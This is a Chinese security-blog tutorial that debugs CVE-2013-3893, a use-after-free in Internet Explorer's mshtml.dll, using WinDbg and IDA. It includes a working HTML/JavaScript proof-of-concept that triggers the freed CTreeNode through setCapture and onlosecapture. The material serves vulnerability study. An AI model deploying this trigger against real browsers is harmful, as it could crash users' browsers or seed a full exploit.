首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >IE漏洞调试之CVE-2013-3893

IE漏洞调试之CVE-2013-3893

作者头像
FB客服
发布2018-02-05 14:34:56
1.3K0
发布2018-02-05 14:34:56
举报
文章被收录于专栏:FreeBufFreeBuf

前言

Windows平台的漏洞挖掘和安全研究中,IE始终是绕不开的话题。IE漏洞就跟adobe系列一样经典,是学习exploit、shellcode的绝佳途径。

在IE漏洞中,UAF即Use-After-Free是最为经典的一类。UAF可以这样简单理解:A先后调用B、C、D三个子函数,B会把A的某个资源释放掉;而D由于判断不严谨即使在B把A的资源释放后依然去引用它,比如某个指针,这时D引用了很危险的悬空指针;C是个什么角色呢?我们可以通过B分配数据。所以利用方法来了:构造奇葩的数据,让A调用B,B把A的某个指针释放掉;接着执行C,C赶紧分配内存,企图使用刚才释放掉的内存,同时我们可以控制这个内存;最后D被调用,由于检查不严格调用了已经释放掉的某指针,而该指针实际上已经被我们重用并且扭曲。漏洞被利用。

但是学习IE的资料非常少,已知的大都是大牛们逆向mshtml.dll来的,辛辛苦苦得来的东西也不方便马上透露出来,所以自力更生是很重要的。我们希望了解IE运行机制,自己fuzz并找到有价值的漏洞。与此同时,能够调试已公布的漏洞,学习已有的POC,也是很重要的能力。所以这里选择CVE-2013-3893这个经典的UAF来学习IE漏洞的调试。

工具

windbg、ida、各版本IE程序、xp/vista/win7/win8虚拟机

windbg用于动态调试;IDA用于静态分析mshtml.dll——实现IE解释器的dll;各版本IE和windows是必不可少的。

基础知识

出现一个新的漏洞,涉及到的解析过程我们并不一定分析过,所以分析漏洞的同时也是学习浏览器机制的好机会。比如CVE-2013-3893这个漏洞,我们需要了解CTreeNode和元素的关系以及几个关键的函数实现。具体的结合POC和调试过程分析。

POC

<html>
<script>
function trigger()
{
    Math.tan(3,4);
    var id_0 = document.createElement("sup");
    var id_1 = document.createElement("audio");
    Math.sin(0);
    document.body.appendChild(id_0);
    document.body.appendChild(id_1);
    Math.cos(0);
    id_1.applyElement(id_0);
    Math.tan(3,4);
    id_0.onlosecapture=function(e){
        document.write("");
    }
    Math.sin(0); 
    id_0[‘outerText’]="";
    Math.cos(0);
    id_0.setCapture();
    Math.tan(3,4);
    id_1.setCapture();
    Math.sin(0);
}
window.onload = function() {
    trigger();
}
</script>
</html>

调试技巧

用windbg载入IE时设置jscript!tan、jscript!sin、jscript!cos断点,逐语句分析。也可以将POC页面设置为IE主页,便于直接载入。结合IDA对mshtml.dll分析相关函数。

漏洞原理

id_1.setCapture时,进入CDoc::PumpMessage;获取Element的TreeNode,调用CDoc::ReleaseDetachedCaptures();参数为0调用CDos::SetMouseCapture,进入CDos::ClearMouseCapture,调用CElement::FireEvent,触发事件导致id_0.onlosecapture指定的js函数调用,document.write(“”),该函数将所有对象释放CBodyElement的CTreeNode也被释放。然后返回PumpMessage,CDos::HasContainerCapture被调用,它引用了释放的CTreeNode对象。UAF发生。看下面IDA静态分析的代码。

int __userpurge CDoc::SetMouseCapture<eax>(int a1<eax>, LPVOID lpMem, int a3, int a4, int a5, int a6, int a7)
{
  int v7; // ebx@1
  int flag; // edi@1
  int result; // eax@3
  int v10; // esi@9
  int v11; // ecx@16
  int v12; // eax@22
  int v13; // ST14_4@28
  char v14; // [sp+10h] [bp-98h]@21
  int v15; // [sp+14h] [bp-94h]@21
  int v16; // [sp+A4h] [bp-4h]@5
  void *lpMema; // [sp+B0h] [bp+8h]@7
 
  v7 = (int)lpMem;
  flag = a1;
  if ( *((_WORD *)lpMem + 938) & 0x1000 )
    flag = 0;
  if ( flag )
  {
    v16 = (*((_DWORD *)lpMem + 65) >> 2) - 1;
    result = v16;
    if ( v16 < 0 )
      goto LABEL_33;
    v11 = *((_DWORD *)lpMem + 67) + 4 * v16;
    do
    {
      if ( *(_DWORD *)(*(_DWORD *)v11 + 8) == flag )
        break;
      --result;
      v11 -= 4;
    }
    while ( result >= 0 );
    if ( result < 0 )
    {
LABEL_33:
      result = ATL_malloc(0x10u);
      if ( result )
      {
        result = CElementCapture::CElementCapture(result, a6, a7, a3, a4);
        lpMema = (void *)result;
      }
      else
      {
        lpMema = 0;
      }
      if ( lpMema )
      {
        v10 = CDoc::GetLastCapture(v7);
        if ( v10 && CDoc::HasContainerCapture(v7) )
        {
          CMessage::CMessage(&v14, 0);
          v15 = 533;
          CDoc::PumpMessage(v7, (int)&v14, 0, 0);
          if ( v10 == CDoc::GetLastCapture(v7) )
          {
            v12 = *(_DWORD *)(v10 + 12);
            if ( !(v12 & 2) )
            {
              if ( !(*(_DWORD *)(*(_DWORD *)(v10 + 8) + 28) & 0x8000000) )
              {
                *(_DWORD *)(v10 + 12) = v12 | 2;
                *(_DWORD *)(v7 + 1876) |= 0x1000u;
                CElement::FireEvent(&s_propdescCElementonlosecapture, 1, 0, -1, 0, 0);
                *(_DWORD *)(v7 + 1876) &= 0xFFFFEFFFu;
              }
            }
          }
          if ( *(_DWORD *)(v7 + 260) & 0xFFFFFFFC )
          {
            if ( v10 == CDoc::GetLastCapture(v7) )
            {
              CElementCapture::_CElementCapture();
              CBlockElement::operator delete((LPVOID)v10);
              CImplPtrAry::Delete(v13, v7 + 256);
            }
            CImplPtrAry::Append();
          }
          else
          {
            CElementCapture::_CElementCapture();
            CBlockElement::operator delete(lpMema);
          }
          result = CMessage::_CMessage();
        }
        else
        {
          result = CImplPtrAry::Append();
          if ( !v10 )
            result = CServer::SetCapture(1);
        }
      }
    }
  }
  else
  {
    result = CDoc::ClearMouseCapture(lpMem, 0);
  }
  return result;
}

调试过程

0:008> bl
 1 e 633b87ca     0001 (0001)  0:**** jscript!sin
 2 e 633b5cea     0001 (0001)  0:**** jscript!tan
 3 e 633b8820     0001 (0001)  0:**** jscript!Cos

三个断点下好。根据POC的执行流程来。首先是createElement,我们在CDocument::createElement下断,获取ld_0和ld_1的element对象地址。

ld_0 element对象地址为 0020aad8。同时可以看到createElement的调用栈。在同一位置下断,获取ld_1的对象地址。

0:008> bp eip

Ld_1对象地址为 0021cee8。

下面的语句:document.body.appendChild(id_0);document.body.appendChild(id_1); 在CElement::appendChild下断。获取element对应的CTreeNode对象。该函数最后调用 mshtml!CMarkup::InsertElementInternal完成操作,在InsertElementInternal内部调用CTreeNode构造函数。

ld_0 对应的 CTreeNode对象地址为 03291fc8。

ld_1对应的 CTreeNode对象地址为03292020。

同时可以发现 CTreeNode->CElement。Element偏移为0。

0:008> dc 0021cee8
0021cee8  635db4c8 00000002 00000008 02d14e20  ..]c........ N..
0021cef8  003bd060 03292020 00000075 00010200  `.;.  ).u.......

Element偏移0x14为其对应的CTreeNode结构。

id_1.applyElement(id_0);语句和appendChild执行过程差不多,我猜测appendChild是将两个元素插入DOM树,而applyElement是将id0和id1的CTreeNode对象变成父子关系。

看看ld0和ld1的对象和CTreeNode对象发生了什么变化:

之前:

Ld0 ctreenode
0:008> dc 03291fc8 l8
03291fc8  0020aad8 00203f10 ffff0060 ffffffff  .. ..? .`.......
03291fd8  00000000 00000000 00000000 00000000  ................
 
Ld1 ctreenode
0:008> dc 03292020
03292020  0021cee8 00203f10 ffff0275 ffffffff  ..!..? .u.......
03292030  00000061 00000000 02da6fe0 02ccd4f8  a........o......

完成这个操作之后:

Ld0 ctreenode
0:008> dc 03291fc8 l8
03291fc8  0020aad8 00203f10 00020260 00030001  .. ..? .`.......
03291fd8  00000061 00000000 03292048 02da6ec8  a.......H )..n..
 
Ld1 ctreenode
0:008> dc 03292020 l8
03292020  0021cee8 03291fc8 00020275 00000001  ..!...).u.......
03292030  00000051 00000000 00000000 03291ff0  Q.............).

一个疑似链表结构出现。DOM对象也是链接起来的。也说明00203f10是CBodyElement对应的CTreeNode。

0:008> dc 00203f10 l8
00203f10  02da6680 00203e60 00016210 00010000  .f..`> ..b......
00203f20  00000551 00000008 00203e18 03291fd8  Q........> ...).

接下来是一个设置,ld0的onlosecapture失去聚焦时执行的函数,页面清空。然后id_0['outerText']="";,js不太熟悉,这个操作执行之后id0应该会从DOM树脱离下来。Id1作为儿子也会脱离DOM树。应该是这样。

Ld1先被release。然后是ld0。

此时再看ctreenode地址:

0:008> dc 3291fc8 l8
03291fc8  0020002e 00000000 ffff0060 ffffffff  .. .....`.......
03291fd8  00000051 00000000 00000000 00000000  Q...............
 
0:008> dc 03292020
03292020  00210039 00000000 ffff0075 ffffffff  9.!.....u.......
03292030  00000051 00000000 00000000 00000000  Q...............

已经被释放了。

然后进入重点SetMouseCapture。Eax = 20aad8。

mshtml!CDoc::SetMouseCapture:
635ddca3 8bff            mov     edi,edi
635ddca5 55              push    ebp
635ddca6 8bec            mov     ebp,esp
635ddca8 81ec9c000000    sub     esp,9Ch
635ddcae 53              push    ebx
635ddcaf 8b5d08          mov     ebx,dword ptr [ebp+8]
635ddcb2 66f783540700000010 test  word ptr [ebx+754h],1000h
635ddcbb 56              push    esi
635ddcbc 57              push    edi
635ddcbd 8bf8            mov     edi,eax
635ddcbf 0f8566f62100    jne     mshtml!CDoc::SetMouseCapture+0x1e (637fd32b)
635ddcc5 33f6            xor     esi,esi
635ddcc7 3bfe            cmp     edi,esi
635ddcc9 0f857d860d00    jne     mshtml!CDoc::SetMouseCapture+0x32 (636b634c) [br=1]
会跳转:
636b634c 8b8304010000    mov     eax,dword ptr [ebx+104h]
636b6352 c1e802          shr     eax,2
636b6355 48              dec     eax
636b6356 3bc6            cmp     eax,esi
636b6358 8945fc          mov     dword ptr [ebp-4],eax
636b635b 0f8dd16f1400    jge     mshtml!CDoc::SetMouseCapture+0x43 (637fd332)
636b6361 6a10            push    10h
636b6363 e85dd0f7ff      call    mshtml!operator new (636333c5)
636b6368 3bc6            cmp     eax,esi
636b636a 59              pop     ecx
636b636b 7466            je      mshtml!CDoc::SetMouseCapture+0x8b (636b63d3)
636b636d ff7510          push    dword ptr [ebp+10h]
636b6370 8b4d14          mov     ecx,dword ptr [ebp+14h]
636b6373 ff750c          push    dword ptr [ebp+0Ch]
636b6376 8bd7            mov     edx,edi
636b6378 ff751c          push    dword ptr [ebp+1Ch]
636b637b ff7518          push    dword ptr [ebp+18h]
636b637e 50              push    eax
636b637f e859000000      call    mshtml!CElementCapture::CElementCapture (636b63dd)
636b6384 894508          mov     dword ptr [ebp+8],eax
636b6387 397508          cmp     dword ptr [ebp+8],esi
636b638a 0f844679f2ff    je      mshtml!CDoc::SetMouseCapture+0x1ae (635ddcd6)
636b6390 8bcb            mov     ecx,ebx
636b6390 8bcb            mov     ecx,ebx
636b6392 e8f6e0f3ff      call    mshtml!CDoc::GetLastCapture (635f448d)
636b6397 8bf0            mov     esi,eax
636b6399 85f6            test    esi,esi
636b639b 897510          mov     dword ptr [ebp+10h],esi
636b639e 0f85b06f1400    jne     mshtml!CDoc::SetMouseCapture+0xab (637fd354)
636b63a4 8b7d08          mov     edi,dword ptr [ebp+8]
636b63a7 8db300010000    lea     esi,[ebx+100h]
636b63ad e88456f8ff      call    mshtml!CImplPtrAry::Append (6363ba36)
636b63b2 837d1000        cmp     dword ptr [ebp+10h],0
636b63b6 0f851a79f2ff    jne     mshtml!CDoc::SetMouseCapture+0x1ae (635ddcd6)
636b63bc 6a01            push    1
636b63be 8bf3            mov     esi,ebx
636b63c0 e880d9ffff      call    mshtml!CServer::SetCapture (636b3d45)
636b63c5 e90c79f2ff      jmp     mshtml!CDoc::SetMouseCapture+0x1ae (635ddcd6)

相当于走了如下流程:

if ( v10 && CDoc::HasContainerCapture(v7) ) {
}
Else {
result = CImplPtrAry::Append();
if ( !v10 )
result = CServer::SetCapture(1);
}

当id1执行SetMouseCapture时,情况就不一样了,这是GetLastCapture不为空。执行如下流程:

CDoc::PumpMessage(v7, (int)&v14, 0, 0);
 
636b639e 0f85b06f1400    jne     mshtml!CDoc::SetMouseCapture+0xab (637fd354) [br=1]
......
637fd354 8b7f14          mov     edi,dword ptr [edi+14h] ds:0023:0021cefc=00000000
637fd357 8bcb            mov     ecx,ebx
637fd359 e80271dfff      call    mshtml!CDoc::HasContainerCapture (635f4460)
637fd35e 85c0            test    eax,eax
637fd360 0f843e90ebff    je      mshtml!CDoc::SetMouseCapture+0x191 (636b63a4)
637fd366 33ff            xor     edi,edi
637fd368 57              push    edi
637fd369 8d8568ffffff    lea     eax,[ebp-98h]
637fd36f 50              push    eax
637fd370 e8bdc3efff      call    mshtml!CMessage::CMessage (636f9732)
637fd375 57              push    edi
637fd376 57              push    edi
637fd377 8d8568ffffff    lea     eax,[ebp-98h]
637fd37d 50              push    eax
637fd37e 8bcb            mov     ecx,ebx
637fd380 c7856cffffff15020000 mov dword ptr [ebp-94h],215h
637fd38a e8386adfff      call    mshtml!CDoc::PumpMessage (635f3dc7)
637fd38f 8bcb            mov     ecx,ebx

进入PumpMessage函数。有点类似win32的消息处理。跟一下会走到什么地方。

敏感调用:

635f3f68 8b4014          mov     eax,dword ptr [eax+14h]
635f3f6b 89442410        mov     dword ptr [esp+10h],eax
635f3f84 57              push    edi
635f3f85 e815feffff      call    mshtml!CDoc::ReleaseDetachedCaptures (635f3d9f)
0:008> r eax
eax=00203f10

发现eax正是CBodyElement对应的CTreeNode。

函数内部接着跟,发现这个:

637fd484 52              push    edx
637fd485 33c9            xor     ecx,ecx
637fd487 51              push    ecx
637fd488 52              push    edx
637fd489 52              push    edx
637fd48a 6a01            push    1
637fd48c 50              push    eax
637fd48d 33c0            xor     eax,eax
637fd48f e80f08deff      call    mshtml!CDoc::SetMouseCapture (635ddca3)

寄存器值:

0:008> r
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=0020aad8 edi=00195de8

又一次调用SetMouseCapture,这时eax = 0,走的流程我们可以跟一下:

mshtml!CDoc::SetMouseCapture:
635ddca3 8bff            mov     edi,edi
635ddca5 55              push    ebp
635ddca6 8bec            mov     ebp,esp
635ddca8 81ec9c000000    sub     esp,9Ch
635ddcae 53              push    ebx
635ddcaf 8b5d08          mov     ebx,dword ptr [ebp+8]
635ddcb2 66f783540700000010 test  word ptr [ebx+754h],1000h
635ddcbb 56              push    esi
635ddcbc 57              push    edi
635ddcbd 8bf8            mov     edi,eax
635ddcbf 0f8566f62100    jne     mshtml!CDoc::SetMouseCapture+0x1e (637fd32b)
635ddcc5 33f6            xor     esi,esi
635ddcc7 3bfe            cmp     edi,esi
635ddcc9 0f857d860d00    jne     mshtml!CDoc::SetMouseCapture+0x32 (636b634c)
635ddccf 56              push    esi
635ddcd0 53              push    ebx
635ddcd1 e817780400      call    mshtml!CDoc::ClearMouseCapture (636254ed)

调用ClearMouseCapture,注意此时ld1的SetCapture还没有完成,也就是说焦点依然在ld0。ClearMouseCapture显然会触发document.write那句话。按理说这句话应该把所有对象清除。但是我调试的过程中并没发生异常。继续跟一下。接着在PumpMessage中:

0:008> r edi
edi=00203f10
0:008> r ecx
ecx=00195de8
0:008> dc edi
00203f10  02da00b2 00000000 ffff6410 ffffffff  .........d......
00203f20  00000571 00000008 00000000 00000000  q...............
0:008> dc ecx
00195de8  63633f18 00000014 000000a8 00000000  .?cc............
00195df8  00000000 6363bcfc 00195de8 00178efc  ......cc.]......
635f587a 8b7c2410        mov     edi,dword ptr [esp+10h]
635f587e 8b4c2414        mov     ecx,dword ptr [esp+14h]
635f5882 e8d9ebffff      call    mshtml!CDoc::HasContainerCapture (635f4460)

确实CBodyElement对应的CTreeNode不太一样了。

跟进看看:

mshtml!CDoc::HasContainerCapture:
635f4460 8bff            mov     edi,edi
635f4462 55              push    ebp
635f4463 8bec            mov     ebp,esp
635f4465 51              push    ecx
635f4466 56              push    esi
635f4467 e821000000      call    mshtml!CDoc::GetLastCapture (635f448d)
635f446c 8bf0            mov     esi,eax
635f446e 33c0            xor     eax,eax
635f4470 3bf8            cmp     edi,eax
635f4472 0f8430210c00    je      mshtml!CDoc::HasContainerCapture+0x1b (636b65a8)
635f4478 8b0f            mov     ecx,dword ptr [edi]  ds:0023:00203f10=02da00b2
635f447a 894dfc          mov     dword ptr [ebp-4],ecx

这里出问题了应该。CBodyElement查找出现问题。

接着跟PumpMessage:

ecx=00203f10 edi=00203f10

635f3fd9 8bcf            mov     ecx,edi
635f3fdb 897c241c        mov     dword ptr [esp+1Ch],edi
635f3fdf e82eed0600      call    mshtml!CTreeNode::NodeAddRef (63662d12)

还是跟进看:

mshtml!CTreeNode::NodeAddRef:
63662d12 8bff            mov     edi,edi
63662d14 55              push    ebp
63662d15 8bec            mov     ebp,esp
63662d17 51              push    ecx
63662d18 8365fc00        and     dword ptr [ebp-4],0
63662d1c e82cffffff      call    mshtml!CTreeNode::AddRef (63662c4d)
63662d21 f6414002        test    byte ptr [ecx+40h],2
63662d25 0f855209f9ff    jne     mshtml!CTreeNode::NodeAddRef+0x26 (635f367d)
63662d2b 8d45fc          lea     eax,[ebp-4]
63662d2e 50              push    eax
63662d2f 68e0976363      push    offset mshtml!IID_IUnknown (636397e0)
63662d34 51              push    ecx
63662d35 e807000000      call    mshtml!CTreeNode::GetInterface (63662d41)
63662d3a c9              leave
63662d3b c3              ret

代码非常简单 跟进GetInterface看,找到了出问题的代码:

63662dbe 8b03            mov     eax,dword ptr [ebx]  ds:0023:00203f10=02da00b2
63662dc0 8b08            mov     ecx,dword ptr [eax]  ds:0023:02da00b2=00000000
63662dca ff11            call    dword ptr [ecx]

找到问题了,就是之前把CTreeNode改掉了,导致CBodyElement对象寻址错误。典型的UAF漏洞。

IE对该漏洞进行补丁,将进入PumpMessage的判断条件修正了一下:如果对象已经不在DOM树上,将不进入PumpMessage。

补丁前:

补丁后:

[本文作者/dedogger,本文属Freebuf原创奖励计划,未经许可禁止转载]

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2014-12-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档